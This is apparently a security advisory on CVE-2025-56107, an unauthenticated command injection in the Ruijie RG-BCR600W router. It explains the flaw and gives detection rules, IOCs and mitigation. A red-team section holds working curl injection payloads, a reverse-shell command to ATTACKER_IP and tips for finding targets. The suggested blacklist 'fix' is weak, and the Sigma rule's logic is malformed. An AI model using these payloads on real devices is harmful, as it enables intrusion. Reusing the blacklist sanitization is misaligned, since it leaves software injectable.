CVE-2025-56107

Executive Summary

CVE-2025-56107 is an OS Command Injection vulnerability in the Ruijie RG-BCR600W wireless gateway/router. The flaw resides in the file /usr/lib/lua/luci/controller/admin/common_quick_config.lua, specifically within the submit_wifi handler. An unauthenticated attacker can send a crafted POST request to inject arbitrary operating system commands, leading to full device compromise. The vulnerability is publicly known with a proof-of-concept available, but no official patch has been released by Ruijie. This poses a critical risk to all deployed RG-BCR600W devices, especially in small-to-medium business and branch office environments.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (unauthenticated remote command injection), the following is a reasonable assessment:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – Immediate action required. The vulnerability allows complete takeover of the device with no authentication.

Deep Dive & Mechanics

The vulnerability exists in the LuCI (Lua Configuration Interface) controller for the Ruijie RG-BCR600W. The file common_quick_config.lua handles the submit_wifi action, which is intended to configure wireless settings. The POST parameter(s) passed to this handler are not properly sanitized before being passed to a shell command (likely via os.execute() or io.popen()). An attacker can inject command separators such as ;, |, &&, or backticks to execute arbitrary commands.

The typical attack flow:

1. Attacker sends a POST request to /cgi-bin/luci/admin/common_quick_config/submit_wifi with a malicious payload in one of the parameters (e.g., ssid, key, or encryption).
2. The LuCI script concatenates the parameter value into a shell command string.
3. The injected command is executed with root privileges, giving the attacker full control.

Example payload:

POST /cgi-bin/luci/admin/common_quick_config/submit_wifi HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

ssid=test;id;ls -la /tmp

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be similar to:

-- Vulnerable code (common_quick_config.lua)
local ssid = luci.http.formvalue("ssid")
os.execute("iwconfig wlan0 essid " .. ssid)

A patched version would sanitize the input:

-- Patched code (hypothetical)
local ssid = luci.http.formvalue("ssid")
-- Remove dangerous characters
ssid = ssid:gsub("[;&|`$(){}]", "")
os.execute("iwconfig wlan0 essid " .. ssid)

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target Ruijie RG-BCR600W with default credentials or accessible web interface.
• Network access to the device's management interface (typically port 80/443).

Exploitation Steps:

1. Identify target: Use Shodan or masscan to find devices with the default HTTP title or login page.
2. Send malicious POST request:

curl -X POST http://target/cgi-bin/luci/admin/common_quick_config/submit_wifi \
  -d "ssid=test;id;ls -la /tmp" \
  -H "Content-Type: application/x-www-form-urlencoded"

3. Verify execution: The output of the injected commands may be reflected in the response or can be retrieved via a reverse shell.

Reverse Shell Payload:

curl -X POST http://target/cgi-bin/luci/admin/common_quick_config/submit_wifi \
  -d "ssid=test;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

Metasploit Module (if available): Not yet, but can be created manually.

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /cgi-bin/luci/admin/common_quick_config/submit_wifi with suspicious parameters containing shell metacharacters.
• Look for outbound connections from the device to unknown IPs on high ports (reverse shell).
• Check for unexpected processes spawned by luci or uhttpd.

Honeypot Setup:

• Deploy a fake RG-BCR600W using a Python script that mimics the login page and logs all POST requests.
• Alert on any request containing ;, |, &&, or backticks in the ssid, key, or encryption fields.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /cgi-bin/luci/admin/common_quick_config/submit_wifi with shell metacharacters.
• Outbound connections from the device to external IPs on ports 4444, 1337, or other common reverse shell ports.
• Unusual DNS queries from the device (e.g., to C2 domains).

Host IOCs:

• Presence of files in /tmp with suspicious names (e.g., .persistence, shell.sh).
• Running processes: bash, nc, python, perl spawned by luci or uhttpd.
• Modified /etc/passwd or /etc/shadow (backdoor accounts).
• New cron jobs in /etc/crontab or /var/spool/cron.

File IOCs:

• /usr/lib/lua/luci/controller/admin/common_quick_config.lua (original vulnerable file).
• Any script in /tmp with execute permissions.

Detection Engineering

YARA Rule

rule CVE_2025_56107_Ruijie_Command_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2025-56107 in HTTP POST requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56107"
    strings:
        $path = "/cgi-bin/luci/admin/common_quick_config/submit_wifi"
        $metachar1 = /[;&|`$(){}]/
        $metachar2 = /bash|sh|nc|python|perl|wget|curl/
    condition:
        $path and (#metachar1 > 0 or #metachar2 > 0)
}

Sigma Rule

title: Ruijie RG-BCR600W Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests targeting the submit_wifi endpoint with shell metacharacters
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-56107
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "/cgi-bin/luci/admin/common_quick_config/submit_wifi"
    keywords:
        - "ssid="
        - "key="
        - "encryption="
    injection:
        - "|contains|all":
            - ";"
            - "|"
            - "&&"
            - "`"
    condition: selection and injection
falsepositives:
    - Legitimate use of special characters in SSID (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-56107 Ruijie RG-BCR600W Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/luci/admin/common_quick_config/submit_wifi";
    http_uri;
    pcre:"/(ssid|key|encryption)=.*[;&|`$(){}]/i";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-56107;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place RG-BCR600W behind a firewall that restricts management access to trusted IPs only.
2. Disable remote management: If not required, disable the web interface on WAN.
3. Monitor logs: Enable detailed logging of all POST requests to the vulnerable endpoint.

Long-term Fix:

• No official patch exists. Contact Ruijie support for a firmware update.
• If possible, replace the device with a patched alternative.
• Implement a WAF (Web Application Firewall) rule to block requests containing shell metacharacters in the ssid, key, or encryption parameters.

Workaround:

• Manually edit the Lua file to sanitize input (if you have root access to the device). This is not recommended for production without testing.

Valters IT – Securing Digital Frontiers